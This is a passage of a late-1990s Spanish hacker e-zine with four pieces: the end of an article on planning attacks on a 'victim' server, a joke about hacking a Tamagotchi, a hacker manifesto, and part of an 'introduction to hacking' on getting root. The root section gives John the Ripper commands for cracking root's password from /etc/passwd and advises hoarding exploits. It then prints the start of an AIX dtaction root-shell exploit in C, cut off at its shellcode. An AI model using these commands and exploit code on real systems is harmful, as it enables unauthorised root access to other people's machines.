  7602.   server, logicamente existen mas :), pero esto nos simplificara mucho nuestro
  7603.   trabajo. Solo nos queda tener informacion suficiente sobre cada agujero
  7604.   existente del esquema de arriba.
  7605.  
  7606.         En estos momentos ya conocemos los puntos de entrada a un servidor,
  7607.   por lo que ahora os explicare los diferentes puntos de peligro que existen
  7608.   en un servidor y cuales son los que mas nos interesan.
  7609.  
  7610.         Para esto usaremos la Tabla de los Niveles de Cracking de Sam, la
  7611.   cual seguro os sera muy interesante, no solo para los propios hackers sino
  7612.   tambien para los Administradores (para que luego digan que no les ayudamos
  7613.   :), que es la siguiente:
  7614.  
  7615.     ------------------------------------------------------------------------
  7616.     │             Tabla de los Niveles de Cracking de Sam                  │
  7617.     ------------------------------------------------------------------------
  7618.  
  7619.                        ┌───────────────────────┐       Usuarios remotos
  7620.                        │           1╔════════════════> obtiene root 
  7621.     Ataques de         │ ┌──────────║────────┐ │       
  7622.     Mail bomb <════════╣ │         2║        │ │       
  7623.                        │ │ ┌────────║──────┐ │ │
  7624.     Ataques            │ │ │       3║      │ │ │
  7625.     mediante           │ │ │ ┌──────║────┐ │ │ │
  7626.     DoS      <══════════╣│ │ │     4║    │ │ │ │
  7627.                        │ │ │ │ ┌────║──┐ │ │ │ │       Usuarios remotos
  7628.                        │ │ │ │ │   5║  ╠═════════════> pueden escribir en
  7629.     Usuarios           │ │ │ │ │ ┌──╩┐ │ │ │ │ │       archivos del sistema
  7630.     locales            │ │ │ │ │ │ 6 │ │ │ │ │ │
  7631.     obtienen sin       │ │ │ │ │ └───┘ │ │ │ │ │
  7632.     autorizacion       │ │ │ │ │   5   │ │ │ │ │
  7633.     permiso de         │ │ │ │ └───────┘ │ │ │ │
  7634.     lectura <════════════╣ │ │     4     │ │ │ │
  7635.                        │ │ │ └──────────╦┘ │ │ │
  7636.                        │ │ │       3 ╦  ║  │ │ │
  7637.                        │ │ └╦────────║──║──┘ │ │
  7638.     Usuarios           │ │  ║      2 ║  ╚════════════> Usuarios remotos 
  7639.     locales            │ └──║────────║───────┘ │       pueden leer archivos
  7640.     pueden escribir    │    ║      1 ║         │       del sistema {PELIGRO}
  7641.     en ficheros que    └────║────────║─────────┘
  7642.     no deberian  <══════════╝        ╚═══════════════> Usuarios remotos
  7643.                                                        obtienen sin
  7644.                                                        autorizacion logins
  7645.                                                        del sistema
  7646.  
  7647.         Ahora como hackers o Administradores conocemos los distintos niveles
  7648.   de peligro en un servidor. Logicamente a cada uno le interesa un nivel
  7649.   diferente, por ejemplo a un hacker le interesa los niveles {3,4,5,6}, a un
  7650.   Administrador le interesan todos los niveles para poder evitarlos, a un
  7651.   cracker le interesan los niveles destructivos {1}.
  7652.  
  7653.         En las siguiente lineas explicare, los distintos niveles, para que
  7654.   queden bien claro.
  7655.  
  7656.         * Nivel 1: En este nivel los ataques son poco importantes, ya que
  7657.   no conseguiran acceso a la red pero por el contrario pueden bloquear o
  7658.   resetear el sistema. Basicamente estos ataques se basan en mailing bombing
  7659.   y Denial Of Service, el primero es muy facil de seguir el rastro mientras
  7660.   que el segundo puede ser mas complicado. Hay que decir que se utiliza el
  7661.   Denial Of Service como avanzadilla de otros atques. Este nivel es muy facil
  7662.   de proteger y controlar.
  7663.  
  7664.         * Nivel 2 y 3: En estos niveles el peligro es mayor, ya que los
  7665.   usuarios pueden escribir o leer en ficheros que no deberian pero ademas
  7666.   pueden intentar subir de nivel a partir de este, poniendo el sistema en
  7667.   mayor peligro. Los usuarios buscaran malas configuraciones o agujeros en
  7668.   algun software que le permita pasar a un nivel superior. Para la seguridad
  7669.   del sistema conviene que el Administrador este consciente de los avisos
  7670.   sobre seguridad en la comunidad informatica.
  7671.  
  7672.         * Nivel 4: En este nivel usuarios que no pertemecen al sistema han
  7673.   conseguido acceso, ademas de poder leer ficheros los cuales no deberian
  7674.   poder. Al igual que antes el acceso se debe a una mala configuracion del
  7675.   sistema, CGI o desbordamientos de memoria.
  7676.  
  7677.         * Nivel 5 y 6: Logicamente estos niveles son los mas peligrosos y
  7678.   nunca deberian ocurrir ya que el sistema dejaria de ser del Administrador.
  7679.   Esto se puede evitar facilmente si hemos reparado los niveles anteriores.
  7680.  
  7681.         Ahora llegados a este punto, ya tenemos una vision bastante amplia
  7682.   del analisis de un server remotamente, logicamente. Por lo que ya podemos
  7683.   con toda la informacion recopilada diseñar un plan de ataque y conseguir
  7684.   entrar en el server victima. Tambien hay que decir que aqui lo estamos
  7685.   simplificando pero en realidad no es tan facil, ya que existen muchas
  7686.   medidas de seguridad y seguramente nos toparemos con muchas, con lo que
  7687.   el circulo se ira estrechando.
  7688.  
  7689.         Pues aqui acaba este entrega y espero que os haya servido de algo,
  7690.   puede ser que parezca un rollo lo aqui explicado, pero esto es lo necesario
  7691.   para saber moverse y saber que hacemos todo el rato, ademas con la
  7692.   informacion aqui descrita podemos ayudar a los Administradores para que
  7693.   hagan su trabajo correctamente, cosa que muy pocos hacen, pero para eso
  7694.   estamos nosotros aqui ;-)
  7695.  
  7696.   Byes all y hasta la vista !!
  7697.     
  7698.                                                         CONDE VAMPIRO
  7699.                                                   - J.J.F. / HACKERS TEAM -
  7700.  
  7701. <────────────────────────────────────────────────────────────────────────────>
  7702. ██████████████████████████████████████████████████████████████████████████████
  7703. <────────────────────────────────────────────────────────────────────────────>
  7704.  
  7705.                       -------------------------------------
  7706.                       <><> Como Hackear un Tamatgotchi <><>
  7707.                       -------------------------------------
  7708.  
  7709.         Este es un articulo muy cachondo que me he encontrado en la 2600, en
  7710.   el numero de invierno, el articulo ha sido escrito originalmente por
  7711.   MiLtRoNi, y dice asi:
  7712.  
  7713.         "Cuando le compre a mi hija su primer tamatgotchi, pense que era algo
  7714.   que era bueno. Pero despues de unos dias, cuando me encontre solo en casa
  7715.   con el, fue cuando empezo a mauyar (es un gato) pidiendome "comida virtual".
  7716.   Al principio pase de el, pero luego se puso a llorar pidiendome ayuda. Que
  7717.   clase de padre era, si este era el juguete de mi hija y su creacion?.
  7718.   Primero, mi hija, tubo todos los cuidados de su "mascota virtual", le daba
  7719.   de comer, jugaba con el, le lababa, y luego a la cama. Todo fue bien por un
  7720.   momento hasta que "Liz" la gatita virtual paso al "otro lado", y asi le
  7721.   siguieron "Liz2" y "Liz3" y "Liz4". Mi hija al final se canso de tanta
  7722.   mascota virtual. Estaba horrorizado al ver como "Liz4" moria mientras pedia
  7723.   ayuda. La mascota pronto encontro su sitio en el fondo del cajon y de como
  7724.   gastar sus ultimas pilas, en una especie de "limbo virtual". Despues de unos
  7725.   dias que encontre un poco de tiempo, empece a experimentar con "LizX".
  7726.  
  7727.         Primero tube que llamarla de muchas maneras a medida que se me iban
  7728.   muriendo, algunos solo duraron unos minutos, otros algun que otro dia. Les
  7729.   iba a enseñar "trucos sucios", y SI, les castigaria si los hacian mal.
  7730.   Engordaban mu facil, constantemente mas bien, porque, por ejemplo cuando
  7731.   habeis visto a un gato que pesara 5 kilos cuando solo tenia 2 horas de vida
  7732.   :)?. Por eso tambien morian extremadamente facil. Incluso les seguia la
  7733.   paranolla de llevarlos al veterinario, pero lo unico que querian hacer era
  7734.   jugar y jugar.
  7735.  
  7736.         Era un dia frio de noviembre cuando nacio "Borg5". Sabia que este iba
  7737.   a ser diferente, era mi ultima creacion, y la definitiba :). Estaba
  7738.   perdiendo la cabeza con tanto gatito ya, asi que tenia que parar de una vez
  7739.   esta locura. "Borg5" era muy cooperativo, aparte de eso encontre que si
  7740.   reseteas su reloj interno interno a 11:59 pm, hace que gane un año en
  7741.   minutos, asi que en poco tiempo, ya tenia 5 años :), despues de esto
  7742.   descubri que si le quitabas algun que otro minuto podrias alargarle la vida.
  7743.   "Borg5" murio con 35 años y 45 kilos. No iba a pesar mas, ademas que su
  7744.   medidor de salud empezo a bajar a toda velocidad, "Borg5" murio durmiendo.
  7745.  
  7746.         Una vez que mi hija se dio cuenta, rapidamente aprendio a manipular el
  7747.   reloj, es cuando empezoa probar con el "pequeño frankenstein". Darle de
  7748.   comer, suponia una bonificacion de 20 puntos, la disciplina tambien. De
  7749.   todas formas, alimentarlo solo sirve para que gane peso y este contento.
  7750.   Nunca "tienes" que jugar con el si esta contento, es decir que si su nivel
  7751.   de felicidad esta en cero se puede hacer que viva igual :), incluso tubimos
  7752.   uno que no lo alimentamos ningun dia (con disgusto de mi hija) y vivia igual
  7753.   de feliz :).
  7754.  
  7755.         Todos los niños del vecindario querian aprender como se hacia para
  7756.   manipular el reloj de la mascota para practicar en las suyas (perros,
  7757.   tortugas...), era muy facil decirselo y ademas la sonrisa que ponian cuando
  7758.   lo practicaban, les pude haber cobrado 5 duros a cada uno por decirselo.
  7759.  
  7760.         Ahora, lo que hay, mas que mascotas virtuales, son "mutantes
  7761.   virtuales", me siento como si hubiera liberado a cierto tipo de monstruo,
  7762.   porque que pasaria si estos niños empiezan a probar en animales de verdad?
  7763.   he abierto la puerta a algun tipo de veterinario o Dr. Jeckill?. 
  7764.  
  7765.         Que opinaria Mattell Corp. si se enteraran que he alterado su
  7766.   industria de Billones de dolares?, estan los "Men in Black" al otro lado de
  7767.   al puerta?. Realmente pienso que a los niños de hoy hay que cambiarles su
  7768.   forma de pensar, nada de eso de "enseñame el triangulo azul" y esas cosas,
  7769.   de todas maneras, algun dia estos niños empezaran a usar ordenadores y a
  7770.   saber que haran..."
  7771.  
  7772.         Este articulo ha sido adaptado un poco al castellano para que se
  7773.   entienda mejor, espero que os haya gustado, jejejejeje, asi que nada mas y
  7774.   hasta otra :)
  7775.  
  7776.         Saludos a los grupos - J.J.F. / Hackers Team -, wakanda, ciberhack y a
  7777.   los canales de #hackers, #rejoin y especialmente a nobody, Fragel,
  7778.   Metalslug, Folixia, Meroka, ICEHOUSE y a todos aquellos de los que me
  7779.   olvido pero estan ahi :)
  7780.  
  7781.   Er Bisho (mama, mama, mama, mama, hay un bisho en mi cama)
  7782.  
  7783.   rolling_weables@hotmail.com
  7784.  
  7785. <────────────────────────────────────────────────────────────────────────────>
  7786. ██████████████████████████████████████████████████████████████████████████████
  7787. <────────────────────────────────────────────────────────────────────────────>
  7788.  
  7789.                        #################################
  7790.                        #       Manifiesto de un        #
  7791.                        #         hacker novato         #
  7792.                        #################################
  7793.                        #       by Silicon Dragon       #
  7794.                        #################################
  7795.                        #        Internet libre         #
  7796.                        #################################
  7797.  
  7798. ------------------------------------------------------------------------------
  7799.  
  7800.         En la vida de todo hacker siempre existe un periodo, a veces largo,
  7801.   en el cual uno es un autentico novatillo para las cosas de internet. K
  7802.   nadie diga k no ha pasado un tiempo mas o menos largo en el cual el/ella a
  7803.   sido asi.
  7804.  
  7805.         Entrar en el mundo del Underground suele resultar dificil, no conoces
  7806.   a nadie y no sabes donde buscar informacion que te permita ampliar tus
  7807.   conocimientos sobre tecnicas y en fin todas esas cosilla que hacen de
  7808.   internet un mundo interesante y divertido. Los pasos que la mayoria de los
  7809.   actuales hackers (al menos los k yo conozco) suelen ser similares, a pesar
  7810.   de que entre ellos no se pareccan escepto por el hecho de gustarles nuestro
  7811.   mundo, y digo nuestro mundo porque internet es el mundo del hacker, donde
  7812.   nos relacionamos, pasamos buenos ratos, adquirimos conocimientos y hacemos
  7813.   nuevas amistades que nos permiten seguir adelante en el mundillo. Por otro
  7814.   lado vosotros/nosotros/ellos, los hackers, con mas o menos conocimientos,
  7815.   somos un grupo que vivimos aqui, en internet, y estamos acostumbrados a
  7816.   movernos por este mundo, aqui somos los reyes en la sombra, los maestros
  7817.   del bit, los luchadores por la libertad que luchan por sobrevivir ante un
  7818.   concepto mal creado de que somos "criminales sin escrupulos"; FALSO!!!,
  7819.   tenemos nuestra etica. Grandes compañias y grupos de intereses nos atacan e
  7820.   intentan aniquilarnos utilizando para ello arcaicas leyes y concepciones
  7821.   sobre el bien y el mal, pero ellos no se dan cuenta que nosotros, la tribu
  7822.   del ciberespacio, tenemos el poder en nuestras manos; o mas correctamente
  7823.   en nuestras mentes, libres y claras, nuestros dedos tecleando secuencias
  7824.   nunca soñadas por ellos, los guardianes de la moral publica y el estado de
  7825.   derecho; y nuestros ordenadores, maquinas con las que entramos en este
  7826.   fascinate mundo de internet, mundo de electrones corriendo por chips de
  7827.   silicio y aluminio, mundo de libertad y conocimiento. INTERNET.
  7828.  
  7829.         Todo aquel que llega o intenta llegar a ser un hacker, !A vivir en
  7830.   el maravilloso mundo de internet! Sabe que no tiene que seguir unas normas,
  7831.   pero comparte con el resto de la tribu un codigo por el que se rige y que
  7832.   lo diferencia de los lamers, que sin tener ni idea de nada se las dan de
  7833.   sabios perjudicandonos al resto y dando razones a ciertos sectores para
  7834.   criticarnos, ponernos como ejemplos de mal, lanzando sobre los menos
  7835.   protegidos sus perros de presa en forma de actuaciones judiciales, redadas
  7836.   y como no llevandonos a juicio por socavar la economia de tal o cual
  7837.   compañia a la que "nosotros" hemos perjudicado. !!!!Nosotros!!!! que
  7838.   nuestro afan no es enrriquezernos como ellos hacen. !Tienen miedo! de que
  7839.   les quitemos su maravilloso dinero, sus estructuras organizadas, su mundo
  7840.   gris y falto de libertad. !!!!Nosotros!!!! que nos guian un afan de
  7841.   superacion, de busqueda de conocimientos, !No para enrriquezernos! como
  7842.   hace nuestra sociedad decrepita sino para aumnetar nuestros conocimientos
  7843.   nuestra mente sin fronteras nuestra libertad. ¡¡¡¡Nosotros!!!! que buscamos
  7844.   la libertad, que defendemos causas justas, que no molestamos, dañamos,
  7845.   matamos..... ¡¡¡¡Nosotros!!!! esa tribu de malditos que nos temen por
  7846.   nuestro poder, por las ideas que afirmamos, por nuestra libertad. Nosotros
  7847.   los hackers.
  7848.  
  7849.         Pero volvamos al tema que nos ocupa en este articulo. Me acuerdo de
  7850.   cierto amigo de electrones, ¿No adivinariais quien es?, al cual lo podemos
  7851.   llamar el dragoncito, je je je ya os lo imaginais quien ;) . Bueno pues ese
  7852.   amigo ,el dragoncito, era un chico, lo siento pero eso es innegable :)))) ,
  7853.   que a muy tierna edad y por los azares de la vida termino un verano delante
  7854.   de un ordenador, un 8086 o 80186, corria el año 85 (¿¿¿hace tiempo eh???)
  7855.   y sin nada por hacer, con mucho tiempo libre y algo de curiosidad, bueno
  7856.   lo admito mucha :))). Bueno, ese chico aprendio lo que podria llamarse los
  7857.   fundamentos de la informatica y la programacion (el BASIC ¿Vamos o creeis
  7858.   que empezo con ensamblador y binario?) el tiempo paso, mas o menos rapido, y
  7859.   hacia el año 1995-96 empezo lo que la mayoria de la gente llamaria inicio
  7860.   de una "carrera delictiva" o "fue por el mal camino" o "las malas compañias"
  7861.   o "le comieron la cabeza"...... vamos tonterias. Yo diria que inicio su
  7862.   vida en el fascinante mundo de internet donde todo es posible y se haya al
  7863.   alcance de nuestros programillas y nuestras mentes inquietas je je o
  7864.   vosotros que leeis esto no creeis en esta verdad.
  7865.  
  7866.         El hecho de tener una conexion a INTERNET es una ventaja que
  7867.   obviamente todos los que esteis leyendo esto teneis, a los demas les cobro
  7868.   derechos de autor :)))). Fue en ese momento, cuando el pequeño dragon
  7869.   optuvo la conexión, cuando pudo continuar sus andanzas por el mundo de los
  7870.   ordenadores, los cuales havia abandonado, porque mira que los libros de
  7871.   informatica suelen ser aburridos de cojones uffffff, y ya que habia oido
  7872.   algo hacerca de esos "peligrosos criminales" llamados hackers :))))))), ¿A
  7873.   que no sabeis que descubrio? "ostia si no son ni criminales, ni terroristas,
  7874.   ni locos, ni ladrones, son gente normal como yo!!!!" en fin la mascara con
  7875.   la que la sociedad nos cubre afecta a todos... Pues bien, el amigo
  7876.   dragoncito, como asi se llamaba ;) creo XDD, empezo a descubrir paginas en
  7877.   internet que le daban cierta informacion, truquillos, solo a nivel
  7878.   educativo :)) en fin lo que le encaminaria hacia las tinieblas( o en mi
  7879.   opinion hacia la luz, en INTERNET, es decir al dominio de la web, traspaso
  7880.   de ficheros, telnet, port spoofing, bugs de seguridad, passwords, root...)
  7881.   que le permitirian de una manera no dañina y recalco esto no dañina
  7882.   aprovechar todos los recursos que encontro en este mundo de electrones que
  7883.   corre a traves de lineas telefonicas, hondas herzianas y cables de fibra
  7884.   de vidrio a velocidades increibles, aumentando sus conocimientos hasta
  7885.   poder al fin, empezar a conocer este nuestro mundo donde todos somos
  7886.   maestros y alumnos, nadie sabe todo y de todos y en el que cualquiera
  7887.   (incluso los lamers) puede enseñar algo (en el caso de los lamers lo que
  7888.   no debes hacer XDDDD)
  7889.  
  7890.         Una de las primeras cosas que el y todo aspirante a hacker suelen
  7891.   hacer es leer todo lo posible sobre este tema a lo largo de la red, como el
  7892.   hizo, es en el unico sitio donde se encontraria la verdad sobre tecnicas,
  7893.   estilos y codigos sobre nuestro/vuestro entretenimiento/trabajo/vida como
  7894.   hackers, como ser que se desplaza a traves de corrientes de datos sin que
  7895.   nadie pueda ni detectarlo ni pararlo, ni atacarle ni dominarlo. Lo mas
  7896.   dificil (pero al alcance de todos) fue encontrar la primera pagina web
  7897.   sobre este tema, ya que no suelen estar en la guia telefonica para que
  7898.   cualquiera llame y pregunte como ser un hacker (los lamers intentan algo
  7899.   asi XDDD) de ahi en adelante, pudo llegar a encontrar links (enlaces
  7900.   burros!!!) a otras paginas y asi entrar en  el entramado de los
  7901.   conocimientos que se guardan en INTERNET, el mundo de electrones
  7902.   representados por conjuntos de bits el cual con nuestra "magia" dominamos
  7903.   y con esta energia creamos un argamedon de poder y un nuevo mundo a nuestro
  7904.   antojo (que filosofico me pongo a veces :)))). 
  7905.  
  7906.         Otra de las cosas que le facilitaron el integrarse en la "tribu"
  7907.   fueron unos conocimientos minimos sobre programacion, :(( si se que los
  7908.   libros de programacion suelen ser aburridos, lentos y estupidos, pero hay
  7909.   k joderse y aprender algo ya que es fundamental para ser un hacker, si no
  7910.   conformate con ser un cracker (lo cual no es necesariamente malo), bajate
  7911.   alguno de sus ficheros y rompe todo por donde pases como hizo Atila con los
  7912.   Romanos (el rey de los Hunos, tribu aliada de Cartago peazo bestia no es un
  7913.   hacker famoso :))) pero piensa que: 1- Va en contra de nuestra etica, 2-
  7914.   Realmente cualquiera puede hacer eso, es realmente facil bajarse ficheros
  7915.   de internet; 3- Eso no es propio de un hacker sino de un cracker (no son
  7916.   peores pero tienen una concepcion diferente ).
  7917.  
  7918.         Y finalmente otra de las cosas que le ayudaron fueron conocer a unos
  7919.   amigos (hackers no iban a ser cocineros, con todo mis respetos a estos
  7920.   ultimos :))))) que le explicaron algunas cosillas y le enseñaron donde
  7921.   localizar otras, la verdad es que el dragoncito es el amigo que todos
  7922.   quieren, le gustaba y le gusta aprender y suele ser simpatico (Lo siento
  7923.   pero su abuela no esta aqui para echarle flores  :))). Por otro lado, el
  7924.   IRC fue y es un buen sitio donde pedir ayuda, no siempre (o casi nunca lo
  7925.   reconozco) le contestaron (en cuanto le conocieron si, es que hay mucho
  7926.   IRC-COP ) pero de vez en cuando si. De paso saludos para los del canal
  7927.   #hackers del IRC-hispano (donde normalmente se habla de todo menos de la
  7928.   tematica del hacker, aunque te lo pasas bien je je je y a veces te ayudan,
  7929.   lo digo por esperiencia son buena gente, lo malo es cuando se aburren y les
  7930.   da por nukear a alguien ;) ). Pero bueno sigamos con la jodia historia.....
  7931.  
  7932.         El hecho de aprender y buscar ayuda, es si no el unico, si el mejor
  7933.   camino para adentrarse en este mundo. La ayuda siempre viene bien porque me
  7934.   acuerdo de lo que le paso en su primer telnet, llamando a un numero
  7935.   aleatorio que se le ocurrio termino dando con un ordenata que cada vez que
  7936.   le preguntaba algo le daba su direccion de ip (la del dragocillo) o otra
  7937.   vez que mando un e-mail falso a un amigo y resulta que el servidor al que
  7938.   se habia conectado escribio el nombre "supuesto" el remitente a
  7939.   continuacion del real (a tomar por culo el anonimato) todo ello le paso por
  7940.   no consultar a los que si que sabian eso lo nuestro es una busqueda de
  7941.   informacion y que mejor forma de distribuirla que compartirla entre
  7942.   nosotros que somos los mas interesados en que la informacion y la libertad
  7943.   se mantenga en INTERNET.
  7944.  
  7945.         La libertad de los hackers es fundamental para el mantenimiento de la
  7946.   libertad en INTERNET. No solo entre la cultura underground sino de todos
  7947.   los usuarios que utilizan este medio. Esta es la razon por lo que el
  7948.   pequeño dragoncito se metio en este mundillo, por la que los hackers siguen
  7949.   luchando a pesar de que constantemente se les fustiga desde todos los
  7950.   angulos de la sociedad. El nuestro es un trabajo vital y a mi/nosotros
  7951.   me/nos gusta nuestra libertad que no cambiaria por nada. En el camino para
  7952.   convertirse en hackers muchos pierden el rumbo, quizas es un camino dificil,
  7953.   pero merece la pena. No ir por falsos atajos se llega antes al final. Como
  7954.   dijo un famoso poeta Español "Caminante no hay camino, el camino se hace al
  7955.   andar". (Soy un chico culto ;) ). No somos hackers por tener los
  7956.   conocimientos lo somos al investigar; al buscar nuevos conocimientos,
  7957.   cuando ayudamos al nuevo a conocer el mundo, a buscar conocimientos, a
  7958.   escapar del mal, a respetar el codigo; al ampliar la libertad en INTERNET
  7959.   al luchar por ella contra los que intentan socavarla; al caminar; AL
  7960.   HACKEAR. Hemos nacido para ello somos los paladines de una causa justa,
  7961.   nadie debe cuartar nuestras libertades somos los dragones del amanecer de
  7962.   una nueva epoca, nos pueden llamar malvados pero el tiempo demostrara que
  7963.   hemos sido los cruzados de la causa de la libertad en INTERNET, vigilaremos
  7964.   a los poderes y no les dejaremos actuar contra nuestra libertad contra
  7965.   nosotros, al fin y al cabo, sabemos quienes somos y que queremos,la buskeda
  7966.   del conocimiento no sera parada asi que amigos, veteranos y novatos no os
  7967.   rindais a pesar de los surquemos los espacios virtuales, navegemos por
  7968.   los mares del conocimiento utilizemos nuestras garras de electrones
  7969.   nuestros cerebros de aluminio y silicio, y hagamos aquello que nos da la
  7970.   libertad y para lo que hemos nacido: SOMOS HACKERS Y AQUI ESTAMOS.... y que
  7971.   lo sepan nuestros enemigos saldremos victoriosos de las batallas, el futuro
  7972.   los odiara y nos aclamara por nuestra libertad entre bites y silicio.
  7973.  
  7974. ------------------------------------------------------------------------------
  7975.  
  7976.         Devo dar las gracias a mucha gente que me ha ayudado a entrar en este
  7977.   fascinante mundo, ups, digo ayudaron al dragoncito a entrar ;), algunos de
  7978.   una forma activa como Bisho al cual le, otro ups el dragoncito, le debe
  7979.   mucho. Otros escribiendo articulos o manteniendo paginas donde localizar
  7980.   los conocimientos oscuros (je je je me he rayao) como: J.J.F./ Hackers Team,
  7981.   Wakanda, Van Hackez, Sakeadores........ y muchos otros que si los pusiera
  7982.   en este articulo ocuparian Mb enteros y para los que brindo mi mayor apollo
  7983.   ya que sin ellos nuestro mundo no seia el mismo INTERNET no seria el mundo
  7984.   de libertad que es y nosotros, la trivu, no  tendriamos  donde habitar
  7985.   oscurecidos por los poderes malignos (ahora si que me he rayao) que
  7986.   intentan doblegarnos AUNQUE NUNKA LO LOGRARAN porque soy un hacker
  7987.   (novato eso si) y mi trivu me protegera y me ayudara a defenderme,
  7988.   tenemos el poder y sabemos como usarlo para conservar nuestra/vuestra
  7989.   libertad, SOMOS HACKERS, SOMOS LIBRES. 
  7990.  
  7991. ------------------------------------------------------------------------------
  7992.  
  7993.                                                   by Silicon Dragon
  7994.                                           e-mail dragonsilicio@bigfoot.com
  7995.  
  7996. ------------------------------------------------------------------------------
  7997.  
  7998.         La distrivucion de este texto es completamente libre salvo que sea
  7999.   usado por fuerzas de seguridad (en cuyo caso deberan de pagar por su uso
  8000.   una cantidad no inferior a $1,000,000.00) o para su uso en cualquier tipo
  8001.   de juicios y ese tipo de cosas (si no lo tienes claro preguntame XDDD) en
  8002.   cuyo caso los derechos del autor (yo) son los mismos que en el caso de la
  8003.   policia (a pagar chatos). Para los demas con meros fines educativos y tal
  8004.   es gratis :))).
  8005.  
  8006. <────────────────────────────────────────────────────────────────────────────>
  8007. ██████████████████████████████████████████████████████████████████████████████
  8008. <────────────────────────────────────────────────────────────────────────────>
  8009.  
  8010.                       ┌──────────────────────────────┐
  8011.                       █ INTRODUCCION AL HACKING v2.0 █
  8012.                       └──────────────────────────────┘
  8013.  
  8014.   POR DAEMON 25-01-1998
  8015.   Daemond@usa.net
  8016.   Dillet@usa.net
  8017.  
  8018.   7.- CONSEGUIR ACCESO DE ROOT
  8019.  
  8020.         En esta seccion voy a explicar tres metodos para conseguir root
  8021.   aunque hay algunos mas que quiza adjunte en posteriores ediciones. Los que
  8022.   voy a explicar aqui son la fuerza bruta, los xploits para pillar root y
  8023.   troyanos.
  8024.  
  8025.   7.1.- FUERZA BRUTA
  8026.  
  8027.         En fin, se puede intentar sacar el password del root a partir del
  8028.   fichero /etc/passwd pero sinceramente es muy dificil ke el root sea tan
  8029.   tordo de tener un password sencillo aunque funciona aproximadamente un 5%
  8030.   de los casos que algo es algo (mi experiencia es ke kada 10-15 makinas sako
  8031.   un password de root kon fuerza bruta usando solo los diccionarios usuales).
  8032.  
  8033.         Si no tienes mas recursos para pillar el root, puedes probar a sacar
  8034.   el passwd de root usando el modo incremental en cualquier crackeador. En el
  8035.   caso del john the ripper, la sintaxis seria john -i -rules -users:0
  8036.   ficheropasswd.
  8037.  
  8038.         He de avisar que el metodo incrementar es una locura, de hecho hay
  8039.   textos por ahi diciendo que tardaria años en sacar el passwd. Yo solo he
  8040.   probado una vez este metodo para ver que tal iba y me saco el passwd tras
  8041.   unas 70 horas, pero tras hablar con gente por ahi.. creo que tuve suerte.,
  8042.   es decir que de aqui se deduce que no vale la pena.. porque tener la
  8043.   maquina en marcha alomejor 100 horas o las que sean es una chorrada cuando
  8044.   se puede rular algun xploit y pillar el root en 5 minutos :-)
  8045.  
  8046.         De todos modos, una manera de trabajar seria no dedicar especial
  8047.   atencion al modo incremental, pero tras sacar algunas cuentas de usuarios
  8048.   normales, pasar algunos diccionarios con la opcion:
  8049.  
  8050.   John -wordfile:dict.txt -rules -users:0 passwd
  8051.  
  8052.         Y si rula, rula que tampoco se pierde tanto tiempo en pasar un par de 
  8053.   diccionarios :o)
  8054.  
  8055.         Pero en fin, en general el metodo mas rapido es usar un xploit como
  8056.   se comentara a continuacion aunque puede haber casos en los que el sistema 
  8057.   operativo en el que estais no encontreis xploits (sistemas operativos raros)
  8058.   o que estos xploits no funcionen por lo que estando muy desesperados podeis 
  8059.   hacerlo asi aunque en el caso de que los xploits no funcionen es ke 
  8060.   posiblemente el root kontrole y no creo que tenga un passwd sencillo, pero
  8061.   en fin.. nunka se sabe :)
  8062.  
  8063.   7.2.- XPLOITS
  8064.  
  8065.         En esta seccion voy a intentar poner uno de cada sistema operativo de
  8066.   los que suele haber por ahi y ademas voy a intentar que sean nuevecillos ..
  8067.   pero como siempre se pueden buscar en la red (siempre tengo el correo
  8068.   abierto para mails diciendome ftp buenos jeje).
  8069.  
  8070.         Para entender el funcionamiento de la mayoria de ellos, los famosos
  8071.   buffer overflow, puedes leer algunos articulillos que hay en la red de
  8072.   Aleph One o Mudge por poner algunos ejemplos.. opino que valen la pena ;o)
  8073.  
  8074.         Bueno.. aqui va el rollo de xploits (pongo uno de cada pero aconsejo
  8075.   que tengais por lo menos 10 de cada sistema operativo porque luego puede
  8076.   pasar que no tengas uno de una version determinada, que no rule, etc. Ademas 
  8077.   aconsejo que los ordeneis por sistemas operativos en directorios separados y 
  8078.   si eres muy currante los puedes ordenar hasta por versiones del sistema 
  8079.   operativo, pero eso ya es solo para gente ordenada jeje):
  8080.  
  8081.         No los pongo traducidos ya que creo que es una currada que no sirve
  8082.   para nada porque son de facil lectura. Ahi van:
  8083.  
  8084.   AIX
  8085.  
  8086. ------------ Codigo Fuente ---------------------------------------------------
  8087.  
  8088. /* Under AIX 4.2 (probably others) /usr/dt/bin/dtaction does not handle
  8089. properly the HOME environment variable and that spawns a root shell. A lot
  8090. of other X programs have the same problem and /bin/X11/xlock is well known
  8091. to be exploitable.
  8092. Tested on AIX 4.2 box.
  8093.  
  8094. SOLUTION: #chmod -s /usr/dt/bin/dtaction /bin/X11/xlock
  8095.  OR apply patches */
  8096.  
  8097. /*
  8098.  AIX 4.2,(others?) dtaction and HOME exploit by Georgi Guninski
  8099.  
  8100. ----------------------------------------
  8101. DISCLAIMER
  8102.  
  8103. This program is for educational purpose ONLY. Do not use it without
  8104. permission.
  8105.  The usual standard disclaimer applies, especially the fact that Georgi
  8106. Guninski
  8107.  is not liable for any damages caused by direct or  indirect use of
  8108.  the information or functionality provided by this program.
  8109.  Georgi Guninski, his employer or any Internet provider bears NO
  8110. responsibility for content
  8111.  or misuse of this program or any derivatives thereof.
  8112.  By using this program you accept the fact that any damage (dataloss,
  8113. system
  8114.  crash, system compromise, etc.) caused by the use of this program is not
  8115.  Georgi Guninski's responsibility.
  8116.  
  8117. In case you distribute this, please keep the disclaimer and my addresses.
  8118. -----------------------------------------
  8119. Use the IBM C compiler.
  8120. Compile with: cc -g aixdtaction.c
  8121. DISPLAY should be set.
  8122. SOLUTION: #chmod -s /usr/dt/bin/dtaction         ; at least stops root shells
  8123. -----------------
  8124. Georgi Guninski
  8125.  guninski@hotmail.com
  8126.  http://www.geocities.com/ResearchTriangle/1711
  8127.  
  8128. Suggestions,comments and job offers are welcome!
  8129. 10-JUNE-97
  8130. */
  8131. #include <stdio.h>
  8132. #include <stdlib.h>
  8133. #include <string.h>
  8134.  
  8135.  
  8136. char *prog="/usr/dt/bin/dtaction";
  8137. char *prog2="dtaction";
  8138. extern int execv();
  8139.  
  8140. char *createvar(char *name,char *value)
  8141. {
  8142. char *c;
  8143. int l;
  8144. l=strlen(name)+strlen(value)+4;
  8145. if (! (c=malloc(l))) {perror("error allocating");exit(2);};
  8146. strcpy(c,name);
  8147. strcat(c,"=");
  8148. strcat(c,value);
  8149. return c;
  8150. }
  8151.  
  8152. /*The program*/
  8153. main(int argc,char **argv,char **env)
  8154. {
  8155. /*The code*/
  8156. unsigned int code[]={
